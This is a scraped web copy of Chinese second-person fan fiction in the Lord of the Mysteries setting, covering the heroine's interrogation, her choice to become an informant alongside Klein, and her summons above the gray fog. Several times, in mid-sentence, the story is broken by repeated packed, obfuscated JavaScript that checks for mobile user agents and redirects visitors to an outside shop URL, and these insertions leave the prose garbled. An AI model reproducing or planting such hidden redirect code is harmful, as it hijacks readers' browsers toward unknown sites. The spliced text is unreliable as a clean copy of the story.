l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193669|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无辜市民和获取线索同样重要。” 你暗暗记下米切尔先生,嗯,这应该是伦纳德先生的姓氏。 她逐一回答了你最关注的三个问题: “首先,佩洛蒙西娅女士,在目前阶段,为了你的安全,我们建议你暂时居住在由我们安排的、安全的住所,时间不会很长,通常是几天到一周,直到我们初步评估事件余波。在此期间,你可以进行必要的通讯,虽然是在我们的监督下处理毕业等紧急事务。我们会尽量提供便利。” “其次是你所担心的保密协议。协议的核心是禁止向任何未授权者透露你今晚所见所闻中涉及异常的部分,以及我部门的存在与工作性质。违反协议将面临法律和女神的制裁。至于补偿……” 她顿了顿,“对于提供关键线索、配合调查并因此生活受到影响的市民,部门有相应的津贴和协助机制,包括在合理范围内协助解决因配合调查产生的实际困难。具体细节,可以在你签署协议前,由专人向你说明。” “至于您家人的安全,我们已经以‘协助警方调查一起涉及非法出版物的案件’为由通知了你的母亲,这个理由足够低调且合理。我们会确保没有外部势力能通过常规途径骚扰你的家人。只要你遵守保密协议,不主动将危险引向家人,他们的安全是有保障的。事实上,你的冷静与合作,正是对他们最好的保护。” 她的回答清晰、专业,也透露了一些关键信息:他们确实有成熟的流程,他们认可你的价值,他们愿意提供一定补偿和保障。 你放心了很多,不仅回答你的问题,还有补偿,一点也不像会灭口的样子。至少如果要灭口的话,西里斯女士根本不用回答你的问题。 “现在,”西里斯女士重新戴上眼镜,语气严肃了一些,“在完成这些程序之前,还有一个重要步骤。我们需要确认,你在近距离接触和观察了那些……异常现象之后,你自身是否受到了任何潜在的影响。这既是为了你的健康,也是为了我们的调查。接下来,我会问你几个问题,并可能需要你配合一个简单的……嗯,灵性感知测试。你愿意吗?” 6. 第6章 晚安 你当然是立刻同意了。既然已经走到这一步,且对方也表现出一定诚意,那么配合到底是最佳的选择。你也对自己是否“受影响”感到一丝不安和好奇。 西里斯女士微微颔首,你觉得她眼中闪过的是对你果断配合的赞许。她站起身,走到房间一侧的柜子旁,从里面取出了一个造型古朴的银制小盒。 “请放轻松,佩洛蒙西娅小姐,这个过程不会对你造成任何伤害,只是最基础的灵性观测。” 她边说边打开盒子,里面铺着深蓝色的天鹅绒,中央嵌着一枚半个手掌大小、晶莹剔透的镜片。镜片在灯光下流转着奇异的光泽,边缘镶嵌着细微的银色符文。 西里斯女士戴上白手套,小心翼翼地取出这片眼镜:“请看着这枚镜片,尽可能放松精神,就像你说的凝视远处风景那样。无论看到什么,或者感觉到什么,都尽量保持平静,如实告诉我。” 你将视线投向那枚镜片。起初,它只是像一块普通的玻璃。但当你凝视数秒后,镜面深处仿佛有细微的灰白雾气开始缓慢流转,如同活物。紧接着,你注意到自己视野的边缘,似乎有极其稀薄、难以察觉的黑色丝线在空气中飘荡,它们似乎从你身上散发出来,但非常微弱,几乎要融入背景。 与此同时,你感觉到眉心深处传来一阵极其轻微、类似清凉水滴滑过的感觉,但并不难受,反而让你因紧张和恐惧而有些昏沉的大脑为之一清。 “我看到了……镜片里有灰白色的雾在动。” 你如实描述,“还有,我感觉自己周围,好像有很淡很淡的黑色细丝,几乎看不清。另外,我的额头有点凉。” 西里斯女士仔细观察着镜片,又看了看你,你觉得她的表情从专注逐渐变得有些微妙:“灰白雾气……是灵性视觉开启的初步征兆,对于第一次接触的普通人来说,这很罕见,但也并非没有。那些黑色丝线……” 她沉吟了一下,“很微弱,是接触过强烈‘隐秘’、‘厄运’或‘死亡’相关力量后,可能残留的‘印记’或‘吸引’,但程度很轻,会随时间自然消散,注意休息和保持心态平稳即可。至于清凉感……那是灵性被温和引导时的正常感受。 她将单片眼镜小心地放回盒子,看向你的目光多了几分审视,但更多的是一种评估资源般的考量。 “佩洛蒙西娅小姐,测试结果基本正常。你没有被污染,精神状态稳定。只是……” 她停顿了一下,似乎在斟酌用词,“你的灵性感知力,或者说‘灵感’,比普通人要敏锐不少。这或许解释了为什么你能清晰记住那些细节,并对异常有所直觉。这种特质,在这个世界上,有时是一种天赋,有时……也可能带来额外的注意和风险。” 她合上银盒,语气恢复公事公办:“测试结束了。今晚你先在这里休息,明天会有专人接你去临时住所,并办理相关手续。如果想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193670|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起任何新的细节,随时可以告诉守卫。晚安。” 她对你点了点头,离开了房间。门外似乎有隐约的人影站定守卫着。 现在,房间里只剩下你一个人。 至少有一个好消息,你的测试的结果是“灵性感知力高于常人”、“残留微弱印记但无污染”。 这让你松了口气,你可不想变成韦尔奇和娜娅那样,虽然不知道他们发生了什么,但终究你不想死掉,死掉就什么都没有了。你很惜命的,十分认同罗塞尔大帝说的“活着的狗也强于死去的狮子”的言论。要是生命没有了,那就什么都没有了,活着就是活着。 房间就你一个人之后,骤然感觉安静了下来。你躺在临时安排的小床上,疲惫如潮水般涌来,但大脑却异常清醒。 你终于可以休息了,现在就是对克莱恩下落的持续担忧。测试结果让你暂时安心,但克莱恩依然下落不明。他是否也接受了测试?他还活着吗?如果活着,他又变成了什么样子? 你的思绪在担忧与复盘间交织,最终化为一声沉重的叹息。你知道,此刻的忧虑无法改变任何事实。伦纳德他们已经行动,你能做的暂时只有等待。 你强迫自己闭上眼睛,让过度运转的大脑逐渐放缓,在疲惫的席卷下,意识终于沉入一片黑暗。 一夜无梦,或者说,一夜深沉到没有任何记忆的睡眠。 …… 7. 第7章 同病相怜 你是被门外的轻微动静和远处廷根市逐渐苏醒的喧嚣唤醒的。 阳光透过窗户的缝隙洒入房间。短暂的恍惚后,昨晚的一切如潮水般涌回脑海。担忧、后怕、迷茫依旧存在,但经过睡眠的缓冲,你的理智重新占据了高地。 敲门声响起。昨天那位女警员送来简单的早餐。早餐里有面包和热汤,比你平时早餐吃得还好,你记得最拮据的时候,你一家人都要饿着肚子去上工上课。 你陷入回想,直到女警员说第二遍的时候你才反应过来,从她口中得知一小时后邓恩队长会来与你进行“后续谈话”。 好吧,怎么还要对话,我都说干净了,记忆都挖空了! 你不满地想,但是很快因为早餐原谅了邓恩队长,当然不是因为什么别的什么原因。 吃完早餐后,你利用一小时剩余的空档时间整理了仪表,让自己看起来尽可能冷静得体。 时间很快到了,邓恩·史密斯队长准时出现,他身后跟着的正是伦纳德·米切尔。伦纳德看起来精神状态还不错,绿眼睛里依旧闪烁着锐利的光芒,手里拿着一个档案袋。 邓恩队长语气比昨晚更加温和,但依旧有些严肃,但你能够理解。“佩洛蒙西娅小姐,休息得如何?首先,我们有一个消息需要告知你,是关于你的邻居,那个,嗯……名叫克莱恩·莫雷蒂的先生。” 他停顿了一下,观察你的反应:“我们找到了他。在他自己的住所。人还活着,但状态……不太稳定,受到了严重的惊吓和某种精神冲击,目前正在接受隔离观察和治疗。没有生命危险。” 你心中一紧,但“活着”两个字让你稍微松了口气。 你注意到邓恩的措辞非常谨慎——“惊吓”、“精神冲击”、“隔离观察和治疗”。嗯,听起来不是很妙,但只要还活着就有希望。 伦纳德接过话头,语气让你有些难以捉摸:“根据现场痕迹和他的……回答,他应该是在韦尔奇家出事前就提前离开了,这或许救了他一命。但即便如此,他也接触到了足够‘不好’的东西。不过,他和你一样,没有表现出被深度污染的迹象,更多的是精神创伤。而且,” 他意味深长地看了你一眼,“他的‘灵感’也相当不低,甚至可能比你还高一点。这或许是他能提前离开,并且存活下来的原因之一。” 你注意到他那个奇异的停顿,回答有什么特别的地方吗?他们用了什么手段对付克莱恩?不过你还在人家手上,所以没有问出口,但这不妨碍你猜测是他们使用了类似“吐真剂”那一类的东西。 韦尔奇的聚会克莱恩先走了吗?那为什么我蹲在外面的时候没注意到到有人先离开?你有些怀疑,但是邓恩先生他们应该有分辨谎话的能力……你又有些怀疑自己,也许真是自己太注重仪式表现出来的现象,忽略了克莱恩? 你明智地没有在此提出你的怀疑。你不想再被盘查了,邓恩既然说克莱恩也没有被污染,也就是比较安全的状态,那这件事到这里结束就可以了。 你偷偷思量着,但是面上表现得还是一副认真的样子。 “现在,佩洛蒙西娅小姐,我们需要谈谈你。基于你昨晚的优异表现、清晰的陈述、以及我们的测试结果,我们对你有一些提议和安排。这并非强制,但考虑到你的处境和特质,我们认为你需要了解这些选项。” 和自己有关!你立刻百分百专注了。 他向伦纳德点点头,伦纳德从档案袋中抽出两份文件,放在你面前的桌子上。 文件一:《保密协议与事件了结方案》 文件二:《临时协助人员协议与初步观察方案》 邓恩先生给你讲解了一下两个文件内容,大致概括就是: 选择文件一,邓恩先生所在的部门会提供一笔一次性的、数额可观的“特殊贡献津贴”。 并且利用官方渠道,为你安排一份稳定的、待遇不错的文职工作(例如,在廷根大学图书馆、市政档案馆,或某个受他们间接影响的商业机构)。 会确保你的家人不会受到任何后续骚扰。 代价:签署后,你要在女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193671|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神面前发誓与此事官方层面的关联将了结。你需要回归正常生活,忘记这一切。但如果未来你再主动卷入类似事件,或泄密,将面临严厉处罚。 如果选择文件二,邓恩先生所在的部门会邀请你成为“临时协助人员”,可以理解为线人或者外围情报员。 你会获得必要的训练,在完成必要培训后,你需要不定期协助他们进行一些低风险的调查工作,例如:凭借自己的记忆能力和绘画技能协助绘制通缉犯或可疑人物肖像;利用你的社交网络和学术身份,留意并报告特定领域(如古籍市场、神秘学小圈子)的可疑动向;在确保安全的前提下,进行有限的现场信息收集。 与此同时,你每月会有固定津贴,任务另有酬金。 你和你的家人获得一定程度的官方保护。 你可以有限度地接触和学习一些基础的、关于“异常”和“隐秘世界”的常识性知识,以便更好地保护自己。 如果表现优异,且通过后续评估,未来有极微小概率获得更进一步的“机会”。这个机会,邓恩先生他未明说,但暗示可能指向某种“特殊能力”。 当然同样的,你将被更深地卷入这个隐秘世界,面临一定的潜在风险。需要接受一定程度的监控和定期心理评估。自由会受到部分限制。 你静静地听着,似乎在思考。 邓恩队长并没有催促,只是看着你,声音平稳:“选择第一条路,你可以拿着补偿,回归正常人的生活,我们会确保此事对你未来的影响降到最低。选择第二条路,你将看到世界的另一面,承担风险,但也可能获得一些普通人没有的视野和资源。你有24小时考虑。另外,无论你选择哪一条,今天下午都需要在一位心理医生那里进行一次正式的心理评估,这是必要程序。” 伦纳德补充道,语气少了些慵懒,多了些认真:“顺便一提,克莱恩·莫雷蒂,你的那位邻居,我们也会给他类似的选择。他的‘天赋’和经历,让他也无法完全回到过去了。你们俩,某种意义上,算是同病相怜。” 8. 第8章 选择 此刻,两份文件摆在你的面前。一条是回归平静但可能平庸、且永远带着秘密和畏惧的普通人之路;另一条是踏入未知、伴随风险、但也可能获得力量和全新视角的荆棘之路。 你的决定是…… 能不能不要这么快选啊!这么重要的选择怎么能这么快选出来! 你内心嚎叫着,但是表面为难地表示两个选择自己都需要好好想想,这两天实在发生了太多事,你的脑子还不能那么理智的思考。 你扯了一个笑容,自嘲说自己精神一直紧绷着,表现出来的理智都是强撑的,实在需要一些时间。并表示自己可能要和克莱恩见面或沟通后再决定,毕竟我们确实同病相怜,不仅卷入了同一个事件,而且自己和他还是邻居。 “……嗯,他有一个妹妹,我有一个弟弟,两人年纪也相仿。我想问问克莱恩他的想法再做考虑,可以安排我和克莱恩见面吗?选择的话,我还需要一点时间考虑,抱歉。” 邓恩队长与伦纳德交换了一个眼神,微微颔首: “很合理的要求,佩洛蒙西娅小姐。你的谨慎是明智的。我们可以安排一次短暂的、在监督下的会面,就在今天……”邓恩似乎有些卡壳,“就是在今天下午的心理评估之后。但需要明确几点:第一,会面时间有限;第二,不得交流涉及事件核心机密的具体细节;第三,最终的选择仍需你们各自独立做出。我们尊重你的考虑时间,但24小时的期限依旧有效。希望你能理解,拖延对事件的处理和你们自身的稳定都没有好处。” 一旁的伦纳德嘴角又勾起那抹标志性的、略带玩味的笑。 “看来你们这两位高灵感的邻居,还挺有默契。也好,互相交流一下‘幸存者心得’,或许能让你们更清楚自己想要的。我会去安排。不过……” 他绿色的眼睛看向你,语气轻松但意有所指,“记得提醒你的邻居,他现在最需要的是休息和适应,而不是过多的……回忆和假设。” 他的话语似乎别有深意,仿佛在暗示克莱恩的状态不仅仅是“精神创伤”那么简单。你默默记下了。 下午,心理评估后,一间安静的会客室。 你被带入房间时,克莱恩已经坐在了对面。他穿着干净的衬衫,但脸色依旧有些苍白,眼下带着淡淡的青黑,眼神深处有一种极力掩饰的、混合着震惊、茫然、极度警惕和努力维持平静的复杂情绪。他看上去比之前的克莱恩要沉默和疏离得多,但对你还是努力露出了一个有些僵硬、但尽量友善的微笑。 房间一角,坐着一位沉默的警署人员,显然是监督者。 没有为难克莱恩这个病号,你先主动开口,询问了克莱恩怎么样。 “……昨天下午我看到你的状态实在不太好,和你平时很不一样,所以跟了上去,没想到遇到了这种事,韦尔奇和娜娅都……唉,你现在情况怎么样,伦纳德先生和邓恩队长那边怎么说?” 克莱恩听到你提起韦尔奇和娜娅,眼神似乎黯淡了一些,手指无意识地蜷缩又松开。他沉默了几秒,似乎在组织语言,声音带着一种刻意维持平静的沙哑: “谢谢你,佩洛蒙西娅小姐。我……还好,只是需要时间消化这一切。史密斯队长和米切尔先生告诉我,韦尔奇和娜娅……愿他们安息。他们也给了我一些……选择。” 他抬起眼,看向你,那双褐色的眼睛里有着与你相似的、竭力压抑的波澜,“他们说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193672|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你也一样。” 当你问及他的想法时,他再次陷入了短暂的沉默,目光似乎有些放空,又像是在飞速思考。监督的文职人员轻微地咳嗽了一声,似乎在提醒时间。 克莱恩低了些头,身体微微前倾,声音的有些虚弱,只有你们两人和近处的监督者能听清: “老实说,佩洛蒙西娅小姐,这两个选择……都让我很不安。第一个选择,看起来安全,但拿着补偿,装作什么都没发生过,回到以前的生活……” 他摇了摇头,声音更轻。 “我觉得我回不去了。有些东西,看到了,知道了,就再也无法假装看不见。而且……” 他犹豫了一下,没有说下去,但你想到了伦纳德说他“灵感很高”,以及他可能同样对那本笔记有超出常人的“感受”。 确实,你能理解他的选择。以克莱恩的灵感,就算他主动避开这些异常事件,也有可能不自觉被卷入,所以作为同样高灵感的你,和他的选择其实是一样的。 “第二个选择,” 他继续说道,语气带着一丝不易察觉的探索意味,“风险很明显。但它至少提供了一些‘了解’和‘准备’的机会。邓恩队长提到,可以学习一些……嗯,常识,为了更好地保护自己。我还有个妹妹和哥哥,梅丽莎还在读书……” 他没有说完,但意思很明显,他倾向于选择第二条路,因为那能给予他应对未来潜在危险的知识和可能的资源,也是为了保护家人。 他看向你,反问道:“佩洛蒙西娅小姐,你呢?你对这两个选择怎么看?我听说……你的观察和画像帮了他们大忙。” 他的眼神里带着一丝探究,似乎想从你这里获取更多关于这两个选择背后深意的信息。 9. 第9章 回家了回家了 你觉得有点奇怪,克莱恩原来有这么精明吗?你试图搜刮自己有关克莱恩的记忆,可惜克莱恩家在他父母离世之前,家庭情况是要比你好的。他并不是一直住在铁十字街道,你们算不上什么青梅竹马。虽然同为大学生,但一个学文一个学理也没有太多交际。 所以你很快把你那点疑问放下了。承认了自己也是和克莱恩相同的倾向。 你明显感觉到,克莱恩在你承认也倾向第二条路时,他听得更专注了。 不过你告诉他,你并不是因为回不去普通人的生活而选择的第二条路。你只是觉得太危险了,一无所知、像个盲人一般缺少世界的另一半认知地生活,实在太危险了。而且有可能你和克莱恩的所作所为都被幕后黑手所知,所以必须要尽快成长起来。 “对于暗中的敌人来说,家人就是我们的软肋,不管选择一还是选择二,家人都会有一定的风险,但是选择二是可以确确实实让自己更接近力量,不管是让自己掌握力量还是寻求这种力量的帮助,都更方便。” 克莱恩似乎觉得你说得有道理,愣了愣,眼中闪过一丝深刻的认同。 啊,克莱恩看起来和原来一样听劝。所以昨天下午他的狂热态度绝对是因为受到了别的什么的影响吧。这难道就是牧师们说的邪恶力量的侵蚀吗? 你没忘记伦纳德的提醒,有些担忧克莱恩的状态。你抬手摸了摸他的额头,他身体几不可察地僵硬了一瞬,但并没有躲开,只是微微垂下眼帘。 “你看起来状态还是不好,脸色很苍白,感觉也没睡好,眼下有些青紫……还是要好好休息,你会感觉回不去普通人的生活,正是说明克莱恩你被吓坏了,但是不要因为害怕而觉得丢脸,害怕是很正常的事,这说明你珍惜生命……” 你絮絮叨叨了一会,突然意识到自己和克莱恩差不多大,克莱恩可能并不愿意听你的唠叨。于是你转变了对话风格,让克莱恩别强撑着。最后为了让克莱恩情绪好点,还打趣说如果后面一起成为了同事,自己会“罩着”克莱恩。 克莱恩眨了眨眼睛,低声道:“谢谢,佩洛蒙西娅小姐。你说得对,害怕是正常的……我们都一样。至于‘罩着我’,额……” 他顿了顿,似乎在适应这种轻松的语调,然后很轻、但很认真地说,“也许,我们可以互相照应。毕竟,我们可能是这里最清楚昨晚到底有多‘不对劲’的两个人了。” 你还想说什么,但监督者再次轻咳一声,示意时间到了。 会面结束。 一小时后,你被带到邓恩队长面前,做出了你的最终决定。 邓恩队长对你的选择并不意外。 “明智的决定,佩洛蒙西娅小姐。欢迎加入……嗯,临时协助人员的行列。接下来几天,你需要接受一些基础培训,了解最基本的保密条例、安全守则、联络方式,以及一些关于‘异常’和‘隐秘存在’的、最粗浅的常识——足够你识别危险并避开,但不会涉及核心。同时,你需要完成毕业事宜,我们会提供便利。” 你以为邓恩先生说完了,正准备转身,结果邓恩先生继续说了起来:“你的第一个‘协助任务’,很可能与你的专业技能相关——协助完善并核查那幅摊主的肖像,并在你的社交和学术圈子中,留意是否有类似特征或相关古籍的出现。津贴从今日起计算。” 伦纳德在一旁补充,语气轻松但眼神认真:“另外,你的邻居克莱恩·莫雷蒂也做出了同样的选择。基于你们的能力侧重不同——他偏历史与神秘学关联,你偏观察、记忆与图像,初期培训会部分分开,部分一起。” “记住,你们现在是同事了,但也是新手。好奇心要有,但别过线。安全第一。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193673|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邓恩也似乎想起了什么,再次发言。 你点头应下,转身离开时在心里暗暗吐槽——早就想说了,邓恩先生人挺好的,但是记性好像有点差啊! …… 和邓恩先生以及伦纳德先生成为了同事,虽然目前还是临时工,或者说是还未转正的实习生,但以你过往打工的经验,转正只要一两个月内不犯错误,基本上都没什么问题,所以显然你的自由是不用担心了。 快走出门的时候,伦纳德又追了出来替邓恩先生传话,给了你一张纸条让你第二天记得来报道。 纸条上写着黑荆棘安保公司,地址是佐特兰街36号。 你决定在明天第一天报道的时候给同事们留个好印象,提早半个小时就位。 回家的时候正是晚饭的时候,你的妈妈迎上来抱了你一会。 她很担心,但基于小市民的认知让她对警察的话深信不疑,完全相信你是因为什么出版问题被拘留了一天,并且认为被警察抓走的真实原因是你从来只是蹭图书馆或书店的书看,却从不买一本,所以被书店老板举报了。 如此令人深感无语的猜测,但是妈妈没有在怀疑你正在做奇怪的事就好,不然很难解释,还不如让她相信自己的怀疑。 于是你尴尬地笑了笑,摸着自己的头发绕在自己手指上,然后这里做点事那里帮下忙,一副被看穿之后不知道在忙什么的样子,让妈妈彻底以为自己说中了。 晚饭后你又去拜访了克莱恩,看了眼他现在的状况。可能是脱离了被人管控的状态,克莱恩看着脸色好了点,但是还是有些苍白。确定第二天克莱恩也要去黑荆棘安保公司报道厚,就顺便跟他约好了明天早点一起去报名。 克莱恩的哥哥班森还想留我一起吃饭,不过我拒绝了,看他的目光,怎么和我妈妈一样爱八卦啊…… 10. 第10章 命运之轮 安抚了母亲,婉拒了班森的热情(并暗自吐槽了中年人的八卦之心),你回到自己房间。 白天强装的镇定逐渐褪去,疲惫和复杂的心绪翻涌。你强迫自己入睡,为第二天的“新工作”养精蓄锐。 不知过了多久,也许已是6月29日凌晨。 你在睡梦中感到一阵奇异的下坠与抽离感,仿佛灵魂被轻轻提起。紧接着,眼前骤然被一片无边无际的、缓慢流淌的灰白雾气所充斥。 你猛地惊醒,却发现自己并非躺在床上,而是站在一片无法判断上下左右的茫茫灰雾之中。脚下是坚实的触感,似乎是由雾气凝聚而成的平台。你低头,看见自己的身体轮廓清晰,但仿佛笼罩在一层淡淡的、灰雾般的薄纱之后。 你的心脏几乎停跳。这不是梦!这种体验,与昨晚那扭曲疯狂的景象截然不同,它更宏大、更古老、更难以理解,但也带着一种难以言喻的、近乎神圣的宁静与至高无上感。 你的头脑疯狂运转,但该死的是你还没有开始学习“异常”的常识,脑子里一团浆糊。 你第一时间检查自身,没有痛苦,没有低语,只有弥漫的灰雾。 就在这时,你于灰雾的深处,看到了一个难以形容的、巍峨如同巨人王庭的、由一根根石柱撑起的宏伟宫殿的模糊轮廓。而在那宫殿的最上方,在无穷高处,有一道笼罩在浓郁灰雾之后的身影,仅仅是被那道身影“注视”,你就感到自己的灵性在剧烈颤抖,仿佛直面了星空与深渊本身。 一个平缓、古老、仿佛来自时光尽头的嗓音,响彻灰雾殿堂,也回荡在你的脑海: “看来,是一个……新的参与者。” 这声音不含情绪,却带着无法抗拒的威严。 你意识到,你正身处一个无法想象的、超越你目前所知一切的地方,并被一个无法想象的存在所注视着。你心头只有一个念头:保持敬畏,谨慎观察,不要贸然行动或激怒对方。 你强压下几乎要脱口而出的惊呼和疑问,努力让自己站直,尽量以一种不卑不亢、但充满敬畏的姿态,向着高处那模糊的身影,行了一个在古老典籍中看过的、表示觐见的通用礼节。 你不知道这是哪里,不知道这是谁,更不知道为何会被带到这里。但你知道,任何一个错误的反应,都可能带来毁灭。 灰雾之上的身影沉默地“注视”着你,似乎在评估。 你看不到他的面容,你也不敢将目光对视,但是你就是知道,祂(你下意识心里用了这个称呼)就是在“注视”着你。 片刻后,那恢弘的声音再次响起: “一个意外的访客,”那位伟大的存在似乎笑了笑,“你来到这里的诉求是什么?” 我哪有什么诉求啊啊啊啊,能不能赶快送我回去!你心里要崩溃了,这就是高灵感的下场吗?被莫名其妙的大佬注意到了啊! 你在心里崩溃大喊,面上却极尽谦卑与尊敬,又微微躬身行礼道:“我是一个刚接触世界隐秘一角的迷茫者,不知为何会来到您的国度。我唯一能确定的是,我对您和此地抱有最大的敬畏。” 这无疑是当前情况下最稳妥的反应。 灰雾之上,那高渺的身影似乎微微动了一下,仿佛在沉吟。 恢弘古老的声音再次响起,依旧平缓,但你觉得多了一缕极淡的、近乎审视的意味: “迷茫者……接触世界隐秘一角……” 短暂的停顿,仿佛在咀嚼这几个词汇。灰雾随之缓缓流淌,带来难以言喻的压力 “此乃灰雾之上。” “你能至此,是命运的牵引,亦是我牵动结果。” “在此地,你可以寻求知识,交换信息,但需遵循等价的原则,并保持必要的敬畏与沉默。” “你可以为自己选取一个代号,用于此间的交流。这将是你于此的象征。” 你心中剧震。灰雾之上!命运的牵引!牵动的结果!等价交换! 每一个词都蕴含着巨大的信息量和神秘学意义。这听起来像是一个……由这位无法想象的存在所主导的、隐秘的交流或交易平台! 你感觉你的灵感在尖叫,告诉你这既是难以想象的机遇,也必然是深不可测的漩涡。 就在你急速思考该选取什么代号时,那恢弘的声音似乎做出了某种决定,再度开口,这一次,语气带上了一丝不容置疑的决断: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193674|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你也可以遵循命运的安排。” 随着祂的话音落下,你面前的灰雾再次剧烈地翻滚、凝聚,最终在斑驳的青铜长桌上方,具现出二十二张闪烁着深红光芒的卡牌虚影。 它们以一种看似无序却又暗含玄妙规律的方式虚空旋转,然后悬浮停在你的面前。每一张的牌背都铭刻着复杂的、不属于这个时代的符号,散发着令人心悸的古老气息。 “抽取一张,” 愚者先生的声音平缓而威严,“这将是你在聚会的代号。不过,‘正义’与‘倒吊人’已有归属。” 所以是在我之前还有另外两个高灵感倒霉蛋吗?不对不对,不能想这种大不敬的话,万一祂能听见我的心声怎么办! 你收敛心神,抬头看到,在那二十二张牌中,有两张牌的光芒似乎更为凝实稳定,仿佛已经与某个遥远的坐标建立了牢固的联系。 你深吸一口气,伸出微微颤抖的手。你的指尖掠过一张张卡牌,但什么也没感觉出来,你的直觉,你的“灵性”,失效了! 最终,你随意选定了一张卡牌,生怕耽误太长时间被祂打。 牌面翻转过来。 牌面上,深蓝的夜空中悬挂着一个巨大的、分为三层的轮盘。轮盘左侧有蛇在下行,右侧有胡狼头神祇奋力向上背负,顶端是手持宝剑、静默不语的狮身人面像。四角环绕着象征四要素与固定星座的有翼活物。整个画面充满了轮回、变迁与命运无常的意味,却又透着一丝在剧变中把握机会的启示。 这是——命运之轮! “那么,命运之轮小姐,” 愚者先生宣告道,语气中似乎也多了一丝难以言喻的意味,“你可以称呼我为……愚者。” “是,谨遵您的意志,愚者先生。” 你再次躬身,接受了这个代号。 愚者先生刚说让我接受命运的安排,我就抽中了命运之轮,难道祂还可以预知未来么?你不禁猜想,又立马告诫自己不要在祂的地盘胡思乱想了。 “你可以回去了。按照你们的历法,聚会召开时间是每周一下午三点,尽量保持独处。” 祂的声音慢慢远去,熟悉的抽离感再次传来……你猛地从自家床上坐起,冷汗浸湿了睡衣。 11. 第11章 打工是不可能打工的……吗? 你强制自己忽略愚者、命运之轮以及那个天地满目的灰雾,睡了一个质量不太好的回笼觉,但你得要睡,因为你还要早起去黑荆棘安保公司报道。你要给前辈们留一个好印象。 翌日清晨,你特意挑选了一身简洁利落的深色衣裙,将长发整齐束起,戴好那副标志性的圆框眼镜,努力让自己看起来既精神又干练。出门时,阳光正好,将昨夜的诡异与阴霾暂时驱散了几分。 你在楼梯口遇到了同样准备出门的克莱恩。他穿着洗得有些发白的衬衫,脸色依旧带着倦意,但眼神深处却有种难以言喻的沉稳和审视感。你们互相道了早安,气氛有些微妙的拘谨。 “早上好,莫雷蒂先生。” “早上好,佩洛蒙西娅小姐。” 简单的寒暄后,你们并肩走向位于佐特兰街的黑荆棘安保公司。 你沉浸在灰雾之事的震撼和对新工作的忐忑中。而克莱恩,走在你侧前方半步,似乎也在想着心事。你能感觉到,他偶尔会用一种极其自然、仿佛不经意般的目光,快速扫过你。那目光里没有恶意,更像是一种……评估和观察,似乎想从你的表情和举止中判断出什么。 你没在意,因为如果不是要思考灰雾之上的事,你也会偷偷观察同事的。毕竟同事也是工作环境的一部分。 你们按地址找到了佐特兰街36号,那栋有漆黑烟囱的房屋。按下门铃后,一位穿着古典黑袍、头发略显稀疏、气质温和儒雅的老年绅士开了门,将你们引入。 他热情地将你们引入接待厅。你迅速扫视环境,注意到这里更像是舒适的客厅,而非办公室。壁炉上方镶嵌着黑夜女神的圣徽浮雕 。几位成员已经在了: 邓恩·史密斯队长,依旧是那副沉稳可靠的模样。 伦纳德·米切尔,懒散地靠在椅子上,绿眼睛在你们进来时微微一亮,尤其是看到你时,嘴角似乎弯了一下。 还有一位穿着白衬衣、黑马甲,神情一丝不苟的男士,伦纳德率先介绍说是科恩黎先生。 